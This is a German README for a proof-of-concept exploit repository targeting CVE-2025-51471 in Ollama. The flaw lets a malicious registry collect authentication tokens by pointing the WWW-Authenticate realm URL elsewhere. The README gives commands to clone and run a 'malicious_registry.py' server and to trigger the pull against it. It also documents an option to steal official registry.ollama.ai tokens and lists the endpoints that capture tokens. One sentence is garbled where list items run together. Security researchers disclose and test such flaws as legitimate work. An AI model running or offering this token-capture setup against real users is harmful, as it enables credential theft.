
Dieses PoC dient ausschließlich zu Bildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie es NICHT gegen Systeme, die Ihnen nicht gehören.
Autor: ajtazer
Dieses Repository enthält einen Proof of Concept (PoC) für CVE-2025-51471, eine Schwachstelle zur Offenlegung von Authentifizierungstokens über Domänen hinweg, die alle Versionen von Ollama (einschließlich der neuesten) betrifft.
Wenn Ollama ein Modell von einem HTTPS-Server lädt, der mit 401 Unauthorized antwortet, folgt es der realm-URL des WWW-Authenticate-Headers, [...]
Dies ermöglicht einem Angreifer:
401-Antwort mit einem WWW-Authenticate-Header zurückzusenden, der auf einen vom Angreifer kontrollierten Endpunkt verweistregistry.ollama.aipip install flask)git clone https://github.com/ajtazer/CVE-2025-51471-PoC.git
cd CVE-2025-51471-PoC
pip install flask
python3 malicious_registry.py --no-ssl
ollama serve
# Mit der curl-API
curl http://localhost:11434/api/pull -d '{"model": "localhost:8080/malicious/model", "insecure": true}'
# ODER mit der ollama-CLI
ollama pull --insecure localhost:8080/malicious/model
Ich habe diesen PoC in einem kurzen Video demonstriert – sehen Sie es sich hier an:
Hinweis (macOS-HTTPS-Modus): Wenn Sie den HTTPS-Modus verwenden, fügen Sie das generierte Zertifikat zu Ihrem Schlüsselbund hinzu oder verwenden Sie den HTTP-Modus mit
--no-ssl.
python3 malicious_registry.py [-h] [--port PORT] [--no-ssl] [--steal-official]
Options:
--port, -p PORT Port to listen on (default: 8080)
--no-ssl Use HTTP instead of HTTPS
--steal-official, -s Redirect to steal registry.ollama.ai tokens
--no-verbose Disable verbose output
| Endpoint | Beschreibung |
|---|---|
/v2/* | Fake-Registry-Endpunkt (löst Exploit aus) |
/v2/token | Endpunkt zum Erfassen von Tokens |
/tokens | Alle erfassten Tokens anzeigen (JSON) |
/health | Server-Statusprüfung |
Dieser PoC dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie ihn nicht gegen Systeme, die Ihnen nicht gehören.
Mit ❤️ erstellt mit Antigravity